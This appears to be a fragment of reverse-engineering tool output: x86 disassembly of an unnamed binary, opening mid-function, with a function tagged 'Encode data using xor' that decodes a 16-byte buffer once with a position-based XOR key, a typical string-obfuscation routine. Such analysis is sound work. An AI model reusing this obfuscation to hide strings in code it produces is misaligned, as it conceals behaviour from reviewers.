mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.679343f5
mov esp, ebp
pop ebp
ret

Function at 0x6787f0f0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x11], 0
je 0x6787f112
xor eax, eax
nop dword [eax + eax]
lea edx, [eax + esi]
lea ecx, [eax - 0x6a]
inc eax
xor byte [edx], cl
cmp eax, 0x10
jb 0x6787f100
mov byte [esi + 0x11], 0
mov eax, esi
pop esi
ret